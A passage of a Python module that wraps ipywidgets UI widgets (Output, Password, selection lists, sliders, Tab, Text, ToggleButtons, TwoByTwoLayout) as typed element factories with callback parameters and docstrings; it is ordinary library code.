Element[ipywidgets.widgets.widget_layout.Layout]] = {}, msg_id: str = "", outputs: Sequence[dict] = (), on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_msg_id: typing.Callable[[str], Any] = None, on_outputs: typing.Callable[[Sequence[dict]], Any] = None, ) -> Element[ipywidgets.widgets.widget_output.Output]: """Widget used as a context manager to display output. This widget can capture and display stdout, stderr, and rich output. To use it, create an instance of it and display it. You can then use the widget as a context manager: any output produced while in the context will be captured and displayed in the widget instead of the standard output area. You can also use the .capture() method to decorate a function or a method. Any output produced by the function will then go to the output widget. This is useful for debugging widget callbacks, for example. Example:: import ipywidgets as widgets from IPython.display import display out = widgets.Output() display(out) print('prints to output area') with out: print('prints to output widget') @out.capture() def func(): print('prints to output widget') :param msg_id: Parent message id of messages to capture :param outputs: The output messages synced from the frontend. """ kwargs: Dict[Any, Any] = without_default(Output, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) widget_cls = ipywidgets.widgets.widget_output.Output comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def Password( continuous_update: bool = True, description: str = "", description_tooltip: str = None, disabled: bool = False, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, placeholder: str = "\u200b", style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: str = "", on_continuous_update: typing.Callable[[bool], Any] = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_placeholder: typing.Callable[[str], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[str], Any] = None, ) -> Element[ipywidgets.widgets.widget_string.Password]: """Single line textbox widget. :param continuous_update: Update the value as the user types. If False, update on submission, e.g., pressing Enter or navigating away. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes :param placeholder: Placeholder text to display when nothing has been typed :param style: Styling customizations :param value: String value """ kwargs: Dict[Any, Any] = without_default(Password, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_string.Password comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def Play( description: str = "", description_tooltip: str = None, disabled: bool = False, interval: int = 100, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, max: int = 100, min: int = 0, show_repeat: bool = True, step: int = 1, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: int = 0, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_interval: typing.Callable[[int], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_max: typing.Callable[[int], Any] = None, on_min: typing.Callable[[int], Any] = None, on_show_repeat: typing.Callable[[bool], Any] = None, on_step: typing.Callable[[int], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[int], Any] = None, ) -> Element[ipywidgets.widgets.widget_int.Play]: """Play/repeat buttons to step through values automatically, and optionally loop. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes :param interval: The maximum value for the play control. :param max: Max value :param min: Min value :param show_repeat: Show the repeat toggle button in the widget. :param step: Increment step :param style: Styling customizations :param value: Int value """ kwargs: Dict[Any, Any] = without_default(Play, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_int.Play comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def RadioButtons( description: str = "", description_tooltip: str = None, disabled: bool = False, index: int = None, label: str = None, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, options: Any = (), style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: Any = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_index: typing.Callable[[int], Any] = None, on_label: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_options: typing.Callable[[Any], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[Any], Any] = None, ) -> Element[ipywidgets.widgets.widget_selection.RadioButtons]: """Group of radio buttons that represent an enumeration. Only one radio button can be toggled at any point in time. Parameters ---------- options: list The options for the dropdown. This can either be a list of values, e.g. ``['Galileo', 'Brahe', 'Hubble']`` or ``[0, 1, 2]``, or a list of (label, value) pairs, e.g. ``[('Galileo', 0), ('Brahe', 1), ('Hubble', 2)]``. index: int The index of the current selection. value: any The value of the current selection. When programmatically setting the value, a reverse lookup is performed among the options to check that the value is valid. The reverse lookup uses the equality operator by default, but another predicate may be provided via the ``equals`` keyword argument. For example, when dealing with numpy arrays, one may set ``equals=np.array_equal``. label: str The label corresponding to the selected value. disabled: bool Whether to disable user changes. description: str Label for this input group. This should be a string describing the widget. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes :param index: Selected index :param label: Selected label :param options: Iterable of values, (label, value) pairs, or a mapping of {label: value} pairs that the user can select. The labels are the strings that will be displayed in the UI, representing the actual Python choices, and should be unique. :param style: Styling customizations :param value: Selected value """ kwargs: Dict[Any, Any] = without_default(RadioButtons, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_selection.RadioButtons comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def Select( description: str = "", description_tooltip: str = None, disabled: bool = False, index: int = None, label: str = None, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, options: Any = (), rows: int = 5, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: Any = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_index: typing.Callable[[int], Any] = None, on_label: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_options: typing.Callable[[Any], Any] = None, on_rows: typing.Callable[[int], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[Any], Any] = None, ) -> Element[ipywidgets.widgets.widget_selection.Select]: """ Listbox that only allows one item to be selected at any given time. Parameters ---------- options: list The options for the dropdown. This can either be a list of values, e.g. ``['Galileo', 'Brahe', 'Hubble']`` or ``[0, 1, 2]``, or a list of (label, value) pairs, e.g. ``[('Galileo', 0), ('Brahe', 1), ('Hubble', 2)]``. index: int The index of the current selection. value: any The value of the current selection. When programmatically setting the value, a reverse lookup is performed among the options to check that the value is valid. The reverse lookup uses the equality operator by default, but another predicate may be provided via the ``equals`` keyword argument. For example, when dealing with numpy arrays, one may set ``equals=np.array_equal``. label: str The label corresponding to the selected value. disabled: bool Whether to disable user changes. description: str Label for this input group. This should be a string describing the widget. rows: int The number of rows to display in the widget. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes :param index: Selected index :param label: Selected label :param options: Iterable of values, (label, value) pairs, or a mapping of {label: value} pairs that the user can select. The labels are the strings that will be displayed in the UI, representing the actual Python choices, and should be unique. :param rows: The number of rows to display. :param style: Styling customizations :param value: Selected value """ kwargs: Dict[Any, Any] = without_default(Select, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_selection.Select comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def SelectMultiple( description: str = "", description_tooltip: str = None, disabled: bool = False, index: Sequence[int] = (), label: Sequence[str] = (), layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, options: Any = (), rows: int = 5, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: Sequence[Any] = (), on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_index: typing.Callable[[Sequence[int]], Any] = None, on_label: typing.Callable[[Sequence[str]], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_options: typing.Callable[[Any], Any] = None, on_rows: typing.Callable[[int], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[Sequence[Any]], Any] = None, ) -> Element[ipywidgets.widgets.widget_selection.SelectMultiple]: """ Listbox that allows many items to be selected at any given time. The ``value``, ``label`` and ``index`` attributes are all iterables. Parameters ---------- options: dict or list The options for the dropdown. This can either be a list of values, e.g. ``['Galileo', 'Brahe', 'Hubble']`` or ``[0, 1, 2]``, a list of (label, value) pairs, e.g. ``[('Galileo', 0), ('Brahe', 1), ('Hubble', 2)]``, or a dictionary mapping the labels to the values, e.g. ``{'Galileo': 0, 'Brahe': 1, 'Hubble': 2}``. The labels are the strings that will be displayed in the UI, representing the actual Python choices, and should be unique. If this is a dictionary, the order in which they are displayed is not guaranteed. index: iterable of int The indices of the options that are selected. value: iterable The values that are selected. When programmatically setting the value, a reverse lookup is performed among the options to check that the value is valid. The reverse lookup uses the equality operator by default, but another predicate may be provided via the ``equals`` keyword argument. For example, when dealing with numpy arrays, one may set ``equals=np.array_equal``. label: iterable of str The labels corresponding to the selected value. disabled: bool Whether to disable user changes. description: str Label for this input group. This should be a string describing the widget. rows: int The number of rows to display in the widget. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes :param index: Selected indices :param label: Selected labels :param options: Iterable of values, (label, value) pairs, or a mapping of {label: value} pairs that the user can select. The labels are the strings that will be displayed in the UI, representing the actual Python choices, and should be unique. :param rows: The number of rows to display. :param style: Styling customizations :param value: Selected values """ kwargs: Dict[Any, Any] = without_default(SelectMultiple, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_selection.SelectMultiple comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def SelectionRangeSlider( continuous_update: bool = True, description: str = "", description_tooltip: str = None, disabled: bool = False, index: tuple = (0, 0), label: tuple = (), layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, options: Any = (), orientation: str = "horizontal", readout: bool = True, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: tuple = (), on_continuous_update: typing.Callable[[bool], Any] = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_index: typing.Callable[[tuple], Any] = None, on_label: typing.Callable[[tuple], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_options: typing.Callable[[Any], Any] = None, on_orientation: typing.Callable[[str], Any] = None, on_readout: typing.Callable[[bool], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[tuple], Any] = None, ) -> Element[ipywidgets.widgets.widget_selection.SelectionRangeSlider]: """ Slider to select multiple contiguous items from a list. The index, value, and label attributes contain the start and end of the selection range, not all items in the range. Parameters ---------- options: dict or list The options for the dropdown. This can either be a list of values, e.g. ``['Galileo', 'Brahe', 'Hubble']`` or ``[0, 1, 2]``, a list of (label, value) pairs, e.g. ``[('Galileo', 0), ('Brahe', 1), ('Hubble', 2)]``, or a dictionary mapping the labels to the values, e.g. ``{'Galileo': 0, 'Brahe': 1, 'Hubble': 2}``. The labels are the strings that will be displayed in the UI, representing the actual Python choices, and should be unique. If this is a dictionary, the order in which they are displayed is not guaranteed. index: iterable of int The indices of the options that are selected. value: iterable The values that are selected. When programmatically setting the value, a reverse lookup is performed among the options to check that the value is valid. The reverse lookup uses the equality operator by default, but another predicate may be provided via the ``equals`` keyword argument. For example, when dealing with numpy arrays, one may set ``equals=np.array_equal``. label: iterable of str The labels corresponding to the selected value. disabled: bool Whether to disable user changes. description: str Label for this input group. This should be a string describing the widget. orientation: str Either ``'horizontal'`` or ``'vertical'``. Defaults to ``horizontal``. readout: bool Display the current label next to the slider. Defaults to ``True``. continuous_update: bool If ``True``, update the value of the widget continuously as the user holds the slider. Otherwise, the model is only updated after the user has released the slider. Defaults to ``True``. :param continuous_update: Update the value of the widget as the user is holding the slider. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes :param index: Min and max selected indices :param label: Min and max selected labels :param options: Iterable of values, (label, value) pairs, or a mapping of {label: value} pairs that the user can select. The labels are the strings that will be displayed in the UI, representing the actual Python choices, and should be unique. :param orientation: Vertical or horizontal. :param readout: Display the current selected label next to the slider :param style: Styling customizations :param value: Min and max selected values """ kwargs: Dict[Any, Any] = without_default(SelectionRangeSlider, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_selection.SelectionRangeSlider comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def SelectionSlider( continuous_update: bool = True, description: str = "", description_tooltip: str = None, disabled: bool = False, index: int = 0, label: str = "", layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, options: Any = (), orientation: str = "horizontal", readout: bool = True, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: Any = None, on_continuous_update: typing.Callable[[bool], Any] = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_index: typing.Callable[[int], Any] = None, on_label: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_options: typing.Callable[[Any], Any] = None, on_orientation: typing.Callable[[str], Any] = None, on_readout: typing.Callable[[bool], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[Any], Any] = None, ) -> Element[ipywidgets.widgets.widget_selection.SelectionSlider]: """ Slider to select a single item from a list or dictionary. Parameters ---------- options: list The options for the dropdown. This can either be a list of values, e.g. ``['Galileo', 'Brahe', 'Hubble']`` or ``[0, 1, 2]``, or a list of (label, value) pairs, e.g. ``[('Galileo', 0), ('Brahe', 1), ('Hubble', 2)]``. index: int The index of the current selection. value: any The value of the current selection. When programmatically setting the value, a reverse lookup is performed among the options to check that the value is valid. The reverse lookup uses the equality operator by default, but another predicate may be provided via the ``equals`` keyword argument. For example, when dealing with numpy arrays, one may set ``equals=np.array_equal``. label: str The label corresponding to the selected value. disabled: bool Whether to disable user changes. description: str Label for this input group. This should be a string describing the widget. orientation: str Either ``'horizontal'`` or ``'vertical'``. Defaults to ``horizontal``. readout: bool Display the current label next to the slider. Defaults to ``True``. continuous_update: bool If ``True``, update the value of the widget continuously as the user holds the slider. Otherwise, the model is only updated after the user has released the slider. Defaults to ``True``. :param continuous_update: Update the value of the widget as the user is holding the slider. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes :param index: Selected index :param label: Selected label :param options: Iterable of values, (label, value) pairs, or a mapping of {label: value} pairs that the user can select. The labels are the strings that will be displayed in the UI, representing the actual Python choices, and should be unique. :param orientation: Vertical or horizontal. :param readout: Display the current selected label next to the slider :param style: Styling customizations :param value: Selected value """ kwargs: Dict[Any, Any] = without_default(SelectionSlider, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_selection.SelectionSlider comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def SliderStyle( description_width: str = "", handle_color: str = None, on_description_width: typing.Callable[[str], Any] = None, on_handle_color: typing.Callable[[str], Any] = None, ) -> Element[ipywidgets.widgets.widget_int.SliderStyle]: """Button style widget. :param description_width: Width of the description to the side of the control. :param handle_color: Color of the slider handle. """ kwargs: Dict[Any, Any] = without_default(SliderStyle, locals()) widget_cls = ipywidgets.widgets.widget_int.SliderStyle comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def Style() -> Element[ipywidgets.widgets.widget_style.Style]: """Style specification""" kwargs: Dict[Any, Any] = without_default(Style, locals()) widget_cls = ipywidgets.widgets.widget_style.Style comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def Tab( box_style: str = "", children: Sequence[Element[ipywidgets.Widget]] = (), layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, selected_index: int = 0, on_box_style: typing.Callable[[str], Any] = None, on_children: typing.Callable[[Sequence[Element[ipywidgets.Widget]]], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_selected_index: typing.Callable[[int], Any] = None, ) -> Element[ipywidgets.widgets.widget_selectioncontainer.Tab]: """Displays children each on a separate accordion tab. :param box_style: Use a predefined styling for the box. :param children: List of widget children :param selected_index: The index of the selected page. This is either an integer selecting a particular sub-widget, or None to have no widgets selected. """ kwargs: Dict[Any, Any] = without_default(Tab, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) widget_cls = ipywidgets.widgets.widget_selectioncontainer.Tab comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def Text( continuous_update: bool = True, description: str = "", description_tooltip: str = None, disabled: bool = False, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, placeholder: str = "\u200b", style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: str = "", on_continuous_update: typing.Callable[[bool], Any] = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_placeholder: typing.Callable[[str], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[str], Any] = None, ) -> Element[ipywidgets.widgets.widget_string.Text]: """Single line textbox widget. :param continuous_update: Update the value as the user types. If False, update on submission, e.g., pressing Enter or navigating away. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes :param placeholder: Placeholder text to display when nothing has been typed :param style: Styling customizations :param value: String value """ kwargs: Dict[Any, Any] = without_default(Text, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_string.Text comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def Textarea( continuous_update: bool = True, description: str = "", description_tooltip: str = None, disabled: bool = False, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, placeholder: str = "\u200b", rows: int = None, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, value: str = "", on_continuous_update: typing.Callable[[bool], Any] = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_placeholder: typing.Callable[[str], Any] = None, on_rows: typing.Callable[[int], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_value: typing.Callable[[str], Any] = None, ) -> Element[ipywidgets.widgets.widget_string.Textarea]: """Multiline text area widget. :param continuous_update: Update the value as the user types. If False, update on submission, e.g., pressing Enter or navigating away. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes :param placeholder: Placeholder text to display when nothing has been typed :param rows: The number of rows to display. :param style: Styling customizations :param value: String value """ kwargs: Dict[Any, Any] = without_default(Textarea, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_string.Textarea comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def ToggleButton( button_style: str = "", description: str = "", description_tooltip: str = None, disabled: bool = False, icon: str = "", layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]] = {}, tooltip: str = "", value: bool = False, on_button_style: typing.Callable[[str], Any] = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_icon: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_description.DescriptionStyle]]], Any] = None, on_tooltip: typing.Callable[[str], Any] = None, on_value: typing.Callable[[bool], Any] = None, ) -> Element[ipywidgets.widgets.widget_bool.ToggleButton]: """Displays a boolean `value` in the form of a toggle button. Parameters ---------- value : {True,False} value of the toggle button: True-pressed, False-unpressed description : str description displayed next to the button tooltip: str tooltip caption of the toggle button icon: str font-awesome icon name :param button_style: Use a predefined styling for the button. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes. :param icon: Font-awesome icon. :param style: Styling customizations :param tooltip: Tooltip caption of the toggle button. :param value: Bool value """ kwargs: Dict[Any, Any] = without_default(ToggleButton, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = DescriptionStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_bool.ToggleButton comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def ToggleButtons( button_style: str = "", description: str = "", description_tooltip: str = None, disabled: bool = False, icons: Sequence[str] = (), index: int = None, label: str = None, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, options: Any = (), style: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_selection.ToggleButtonsStyle]] = {}, tooltips: Sequence[str] = (), value: Any = None, on_button_style: typing.Callable[[str], Any] = None, on_description: typing.Callable[[str], Any] = None, on_description_tooltip: typing.Callable[[str], Any] = None, on_disabled: typing.Callable[[bool], Any] = None, on_icons: typing.Callable[[Sequence[str]], Any] = None, on_index: typing.Callable[[int], Any] = None, on_label: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_options: typing.Callable[[Any], Any] = None, on_style: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_selection.ToggleButtonsStyle]]], Any] = None, on_tooltips: typing.Callable[[Sequence[str]], Any] = None, on_value: typing.Callable[[Any], Any] = None, ) -> Element[ipywidgets.widgets.widget_selection.ToggleButtons]: """Group of toggle buttons that represent an enumeration. Only one toggle button can be toggled at any point in time. Parameters ---------- options: list The options for the dropdown. This can either be a list of values, e.g. ``['Galileo', 'Brahe', 'Hubble']`` or ``[0, 1, 2]``, or a list of (label, value) pairs, e.g. ``[('Galileo', 0), ('Brahe', 1), ('Hubble', 2)]``. index: int The index of the current selection. value: any The value of the current selection. When programmatically setting the value, a reverse lookup is performed among the options to check that the value is valid. The reverse lookup uses the equality operator by default, but another predicate may be provided via the ``equals`` keyword argument. For example, when dealing with numpy arrays, one may set ``equals=np.array_equal``. label: str The label corresponding to the selected value. disabled: bool Whether to disable user changes. description: str Label for this input group. This should be a string describing the widget. tooltips: list Tooltip for each button. If specified, must be the same length as `options`. icons: list Icons to show on the buttons. This must be the name of a font-awesome icon. See `http://fontawesome.io/icons/` for a list of icons. button_style: str One of 'primary', 'success', 'info', 'warning' or 'danger'. Applies a predefined style to every button. style: ToggleButtonsStyle Style parameters for the buttons. :param button_style: Use a predefined styling for the buttons. :param description: Description of the control. :param description_tooltip: Tooltip for the description (defaults to description). :param disabled: Enable or disable user changes :param icons: Icons names for each button (FontAwesome names without the fa- prefix). :param index: Selected index :param label: Selected label :param options: Iterable of values, (label, value) pairs, or a mapping of {label: value} pairs that the user can select. The labels are the strings that will be displayed in the UI, representing the actual Python choices, and should be unique. :param tooltips: Tooltips for each button. :param value: Selected value """ kwargs: Dict[Any, Any] = without_default(ToggleButtons, locals()) if isinstance(kwargs.get("layout"), dict): kwargs["layout"] = Layout(**kwargs["layout"]) if isinstance(kwargs.get("style"), dict): kwargs["style"] = ToggleButtonsStyle(**kwargs["style"]) widget_cls = ipywidgets.widgets.widget_selection.ToggleButtons comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def ToggleButtonsStyle( button_width: str = "", description_width: str = "", font_weight: str = "", on_button_width: typing.Callable[[str], Any] = None, on_description_width: typing.Callable[[str], Any] = None, on_font_weight: typing.Callable[[str], Any] = None, ) -> Element[ipywidgets.widgets.widget_selection.ToggleButtonsStyle]: """Button style widget. Parameters ---------- button_width: str The width of each button. This should be a valid CSS width, e.g. '10px' or '5em'. font_weight: str The text font weight of each button, This should be a valid CSS font weight unit, for example 'bold' or '600' :param button_width: The width of each button. :param description_width: Width of the description to the side of the control. :param font_weight: Text font weight of each button. """ kwargs: Dict[Any, Any] = without_default(ToggleButtonsStyle, locals()) widget_cls = ipywidgets.widgets.widget_selection.ToggleButtonsStyle comp = react.core.ComponentWidget(widget=widget_cls) return Element(comp, **kwargs) ### def TwoByTwoLayout( align_items: str = None, bottom_left: Element[ipywidgets.Widget] = None, bottom_right: Element[ipywidgets.Widget] = None, box_style: str = "", children: Sequence[Element[ipywidgets.Widget]] = (), grid_gap: str = None, height: str = None, justify_content: str = None, layout: Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]] = {}, merge: bool = True, top_left: Element[ipywidgets.Widget] = None, top_right: Element[ipywidgets.Widget] = None, width: str = None, on_align_items: typing.Callable[[str], Any] = None, on_bottom_left: typing.Callable[[Element[ipywidgets.Widget]], Any] = None, on_bottom_right: typing.Callable[[Element[ipywidgets.Widget]], Any] = None, on_box_style: typing.Callable[[str], Any] = None, on_children: typing.Callable[[Sequence[Element[ipywidgets.Widget]]], Any] = None, on_grid_gap: typing.Callable[[str], Any] = None, on_height: typing.Callable[[str], Any] = None, on_justify_content: typing.Callable[[str], Any] = None, on_layout: typing.Callable[[Union[Dict[str, Any], Element[ipywidgets.widgets.widget_layout.Layout]]], Any] = None, on_merge: typing.Callable[[bool], Any] = None, on_top_left: typing.Callable[[Element[ipywidgets.Widget]], Any] = None, on_top_right: typing.Callable[[Element[ipywidgets.Widget]], Any] = None, on_width: typing.Callable[[str], Any] = None, ) -> Element[ipywidgets.widgets.widget_templates.TwoByTwoLayout]: """Define a layout with 2x2 regular grid. Parameters ---------- top_left: instance of Widget top_right: instance of Widget bottom_left: instance of Widget bottom_right: instance of Widget widgets to fill the positions in the layout merge: bool flag to say whether the empty positions should be automatically merged grid_gap : str CSS attribute used to set the gap between the grid cells justify_content : str, in ['flex-start', 'flex-end', 'center', 'space-between', 'space-around'] CSS attribute used to align widgets vertically align_items : str, in ['top', 'bottom', 'center', 'flex-start', 'flex-end', 'baseline', 'stretch'] CSS attribute used to align widgets horizontally width : str height : str width and height Examples -------- >>> from ipywidgets import TwoByTwoLayout, Button >>> TwoByTwoLayout(top_left=Button(description="Top left"), ... 